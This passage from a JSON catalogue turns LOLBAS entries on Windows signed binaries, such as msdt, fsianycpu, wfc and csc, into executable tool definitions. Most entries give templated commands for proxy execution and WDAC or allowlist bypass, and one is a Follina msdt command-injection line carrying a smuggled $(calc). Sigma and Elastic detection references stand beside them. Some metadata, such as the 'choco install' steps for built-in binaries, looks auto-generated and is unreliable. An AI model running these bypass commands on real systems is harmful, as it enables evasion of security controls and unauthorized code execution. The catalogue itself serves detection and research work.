        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# fsianycpu\n\nfsianycpu is a Windows LOLBin. 32/64-bit FSharp (F#) Interpreter included with Visual Studio. Located at: c:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\CommonExtensions\\Microsoft\\FSharp\\fsianycpu.exe.\n",
    "_source": "fsianycpu.md",
    "allowed-tools": [
      "fsianycpu"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jimmy (@bohops)",
    "capabilities": [
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "32/64-bit FSharp (F#) Interpreter included with Visual Studio. Located at: c:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\CommonExtensions\\Microsoft\\FSharp\\fsianycpu.exe.",
    "detections": [
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "FsiAnyCpu.exe execution may be suspicious on non-developer machines"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute F# code via script file (Execute payload with Microsoft signed binary to bypass WDAC policies)",
        "command": "fsianycpu.exe {PATH:.fsscript}"
      },
      {
        "description": "Execute F# code via interactive command line (Execute payload with Microsoft signed binary to bypass WDAC policies)",
        "command": "fsianycpu.exe"
      }
    ],
    "execution": {
      "template": "fsianycpu",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-fsianycpu",
    "install": [
      {
        "method": "choco",
        "package_name": "fsianycpu",
        "commands": [
          "choco install fsianycpu"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "fsianycpu",
    "namespace": "windows:bypass:fsianycpu",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msdt\n\nmsdt is a Windows LOLBin. Microsoft diagnostics tool Located at: C:\\Windows\\System32\\Msdt.exe; C:\\Windows\\SysWOW64\\Msdt.exe.\n",
    "_source": "msdt.md",
    "allowed-tools": [
      "msdt"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft diagnostics tool Located at: C:\\Windows\\System32\\Msdt.exe; C:\\Windows\\SysWOW64\\Msdt.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      }
    ],
    "examples": [
      {
        "description": "Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file. (Execute code)",
        "command": "msdt.exe -path C:\\WINDOWS\\diagnostics\\index\\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE"
      },
      {
        "description": "Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file. (Execute code bypass Application whitelisting)",
        "command": "msdt.exe -path C:\\WINDOWS\\diagnostics\\index\\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE"
      },
      {
        "description": "Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the \"PCWDiagnostic\" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update. (Execute code bypass Application allowlisting)",
        "command": "msdt.exe /id PCWDiagnostic /skip force /param \"IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe\""
      }
    ],
    "execution": {
      "template": "msdt",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-msdt",
    "install": [
      {
        "method": "choco",
        "package_name": "msdt",
        "commands": [
          "choco install msdt"
        ]
      }
    ],
    "mitre_ids": [
      "T1218",
      "T1202"
    ],
    "name": "msdt",
    "namespace": "windows:bypass:msdt",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/"
      },
      {
        "label": "991338229952598016",
        "url": "https://twitter.com/harr0ey/status/991338229952598016"
      },
      {
        "label": "1531944240271568896",
        "url": "https://twitter.com/nas_bench/status/1531944240271568896"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# visualuiaverifynative\n\nvisualuiaverifynative is a Windows LOLBin. A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls. Located at: c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\arm64\\UIAVerify\\VisualUiaVerifyNative.exe; c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\x64\\UIAVerify\\VisualUiaVerifyNative.exe; c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\UIAVerify\\VisualUiaVerifyNative.exe.\n",
    "_source": "visualuiaverifynative.md",
    "allowed-tools": [
      "visualuiaverifynative"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jimmy (@bohops)",
    "capabilities": [
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls. Located at: c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\arm64\\UIAVerify\\VisualUiaVerifyNative.exe; c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\x64\\UIAVerify\\VisualUiaVerifyNative.exe; c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\UIAVerify\\VisualUiaVerifyNative.exe.",
    "detections": [
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml"
      },
      {
        "type": "ioc",
        "description": "As a Windows SDK binary, execution on a system may be suspicious"
      }
    ],
    "examples": [
      {
        "description": "Generate Serialized gadget and save to - `C:\\Users\\%USERNAME%\\AppData\\Roaminguiverify.config` before executing. (Execute proxied payload with Microsoft signed binary to bypass WDAC policies)",
        "command": "VisualUiaVerifyNative.exe"
      }
    ],
    "execution": {
      "template": "visualuiaverifynative",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-visualuiaverifynative",
    "install": [
      {
        "method": "choco",
        "package_name": "visualuiaverifynative",
        "commands": [
          "choco install visualuiaverifynative"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "visualuiaverifynative",
    "namespace": "windows:bypass:visualuiaverifynative",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/"
      },
      {
        "label": "937db704b9148e9cee7c7010cad4d00ce9c4fdad",
        "url": "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vstest-console\n\nvstest-console is a Windows LOLBin. VSTest.Console.exe is the command-line tool to run tests Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\vstest.console.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\TestAgent\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\vstest.console.exe.\n",
    "_source": "vstest-console.md",
    "allowed-tools": [
      "vstest-console"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Onat Uzunyayla",
    "capabilities": [
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "VSTest.Console.exe is the command-line tool to run tests Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\vstest.console.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\TestAgent\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\vstest.console.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "vstest.console.exe spawning unexpected processes"
      }
    ],
    "examples": [
      {
        "description": "VSTest functionality may allow an adversary to executes their malware by wrapping it as a test method then build it to a .exe or .dll file to be later run by vstest.console.exe. This may both allow AWL bypass or defense bypass in general (Proxy Execution and AWL bypass, Adversaries may run malicious code embedded inside the test methods of crafted dll/exe)",
        "command": "vstest.console.exe {PATH:.dll}"
      }
    ],
    "execution": {
      "template": "vstest-console",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "process-manip",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-vstest-console",
    "install": [
      {
        "method": "choco",
        "package_name": "vstest-console",
        "commands": [
          "choco install vstest-console"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "vstest-console",
    "namespace": "windows:bypass:vstest-console",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "vstest-console-options?view=vs-2022",
        "url": "https://learn.microsoft.com/en-us/visualstudio/test/vstest-console-options?view=vs-2022"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wfc\n\nwfc is a Windows LOLBin. The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK). Located at: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v10.0A\\bin\\NETFX 4.8 Tools\\wfc.exe.\n",
    "_source": "wfc.md",
    "allowed-tools": [
      "wfc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jimmy (@bohops)",
    "capabilities": [
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK). Located at: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v10.0A\\bin\\NETFX 4.8 Tools\\wfc.exe.",
    "detections": [
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml"
      },
      {
        "type": "ioc",
        "description": "As a Windows SDK binary, execution on a system may be suspicious"
      }
    ],
    "examples": [
      {
        "description": "Execute arbitrary C# code embedded in a XOML file. (Execute proxied payload with Microsoft signed binary to bypass WDAC policies)",
        "command": "wfc.exe {PATH_ABSOLUTE:.xoml}"
      }
    ],
    "execution": {
      "template": "wfc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-wfc",
    "install": [
      {
        "method": "choco",
        "package_name": "wfc",
        "commands": [
          "choco install wfc"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "wfc",
    "namespace": "windows:bypass:wfc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# csc\n\ncsc is a Windows LOLBin. Binary file used by .NET Framework to compile C# code Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Csc.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe.\n",
    "_source": "csc.md",
    "allowed-tools": [
      "csc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "build.compile.code"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary file used by .NET Framework to compile C# code Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Csc.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_csc_susp_folder.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_dotnet_compiler_parent_process.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_execution_msbuild_started_unusal_process.toml"
      },
      {
        "type": "ioc",
        "description": "Csc.exe should normally not run as System account unless it is used for development."
      }
    ],
    "examples": [
      {
        "description": "Use csc.exe to compile C# code, targeting the .NET Framework, stored in the specified .cs file and output the compiled version to the specified .exe path. (Compile attacker code on system. Bypass defensive counter measures.)",
        "command": "csc.exe -out:{PATH:.exe} {PATH:.cs}"
      },
      {
        "description": "Use csc.exe to compile C# code, targeting the .NET Framework, stored in the specified .cs file and output the compiled version to a DLL file with the same name. (Compile attacker code on system. Bypass defensive counter measures.)",
        "command": "csc -target:library {PATH:.cs}"
      }
    ],
    "execution": {
      "template": "csc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-compile-csc",
    "install": [
      {
        "method": "choco",
        "package_name": "csc",
        "commands": [
          "choco install csc"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "csc",
    "namespace": "windows:compile:csc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ilasm\n\nilasm is a Windows LOLBin. used for compile c# code into dll or exe. Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe.\n",
    "_source": "ilasm.md",
    "allowed-tools": [
      "ilasm"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Hai vaknin (lux)",
    "capabilities": [
      "build.compile.code"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "used for compile c# code into dll or exe. Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "Ilasm may not be used often in production environments (such as on endpoints)"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml"
      }
    ],
    "examples": [
      {
        "description": "Binary file used by .NET to compile C#/intermediate (IL) code to .exe (Compile attacker code on system. Bypass defensive counter measures.)",
        "command": "ilasm.exe {PATH_ABSOLUTE:.txt} /exe"
      },
      {
        "description": "Binary file used by .NET to compile C#/intermediate (IL) code to dll (A description of the usecase)",
        "command": "ilasm.exe {PATH_ABSOLUTE:.txt} /dll"
      }
    ],
    "execution": {
      "template": "ilasm",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-compile-ilasm",
    "install": [
      {
        "method": "choco",
        "package_name": "ilasm",
        "commands": [
          "choco install ilasm"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "ilasm",
    "namespace": "windows:compile:ilasm",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "hello_world.txt",
        "url": "https://github.com/LuxNoBulIshit/BeforeCompileBy-ilasm/blob/master/hello_world.txt"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# jsc\n\njsc is a Windows LOLBin. Binary file used by .NET to compile JavaScript code to .exe or .dll format Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Jsc.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Jsc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Jsc.exe.\n",
    "_source": "jsc.md",
    "allowed-tools": [
      "jsc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "build.compile.code"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary file used by .NET to compile JavaScript code to .exe or .dll format Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Jsc.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Jsc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Jsc.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml"
      },
      {
        "type": "ioc",
        "description": "Jsc.exe should normally not run a system unless it is used for development."
      }
    ],
    "examples": [
      {
        "description": "Use jsc.exe to compile JavaScript code stored in the provided .JS file and generate a .EXE file with the same name. (Compile attacker code on system. Bypass defensive counter measures.)",
        "command": "jsc.exe {PATH:.js}"
      },
      {
        "description": "Use jsc.exe to compile JavaScript code stored in the .JS file and generate a DLL file with the same name. (Compile attacker code on system. Bypass defensive counter measures.)",
        "command": "jsc.exe /t:library {PATH:.js}"
      }
    ],
    "execution": {
      "template": "jsc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-compile-jsc",
    "install": [
      {
        "method": "choco",
        "package_name": "jsc",
        "commands": [
          "choco install jsc"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "jsc",
    "namespace": "windows:compile:jsc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "998797808907046913",
        "url": "https://twitter.com/DissectMalware/status/998797808907046913"
      },
      {
        "label": "",
        "url": "https://www.phpied.com/make-your-javascript-a-windows-exe/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vbc\n\nvbc is a Windows LOLBin. Binary file used for compile vbs code Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe.\n",
    "_source": "vbc.md",
    "allowed-tools": [
      "vbc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Lior Adar",
    "capabilities": [
      "build.compile.code"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary file used for compile vbs code Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_dotnet_compiler_parent_process.toml"
      }
    ],
    "examples": [
      {
        "description": "Binary file used by .NET to compile Visual Basic code to an executable. (Compile attacker code on system. Bypass defensive counter measures.)",
        "command": "vbc.exe /target:exe {PATH_ABSOLUTE:.vb}"
      },
      {
        "description": "Binary file used by .NET to compile Visual Basic code to an executable. (Compile attacker code on system. Bypass defensive counter measures.)",
        "command": "vbc -reference:Microsoft.VisualBasic.dll {PATH_ABSOLUTE:.vb}"
      }
    ],
    "execution": {
      "template": "vbc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-compile-vbc",
    "install": [
      {
        "method": "choco",
        "package_name": "vbc",
        "commands": [
          "choco install vbc"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "vbc",
    "namespace": "windows:compile:vbc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# devicecredentialdeployment\n\ndevicecredentialdeployment is a Windows LOLBin. Device Credential Deployment Located at: C:\\Windows\\System32\\DeviceCredentialDeployment.exe.\n",
    "_source": "devicecredentialdeployment.md",
    "allowed-tools": [
      "devicecredentialdeployment"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Elliot Killick",
    "capabilities": [
      "security.defense-evasion.conceal"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Device Credential Deployment Located at: C:\\Windows\\System32\\DeviceCredentialDeployment.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "DeviceCredentialDeployment.exe should not be run on a normal workstation"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml"
      }
    ],
    "examples": [
      {
        "description": "Grab the console window handle and set it to hidden (Can be used to stealthily run a console application (e.g. cmd.exe) in the background)",
        "command": "DeviceCredentialDeployment"
      }
    ],
    "execution": {
      "template": "devicecredentialdeployment",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-conceal-devicecredentialdeployment",
    "install": [
      {
        "method": "choco",
        "package_name": "devicecredentialdeployment",
        "commands": [
          "choco install devicecredentialdeployment"
        ]
      }
    ],
    "mitre_ids": [
      "T1564"
    ],
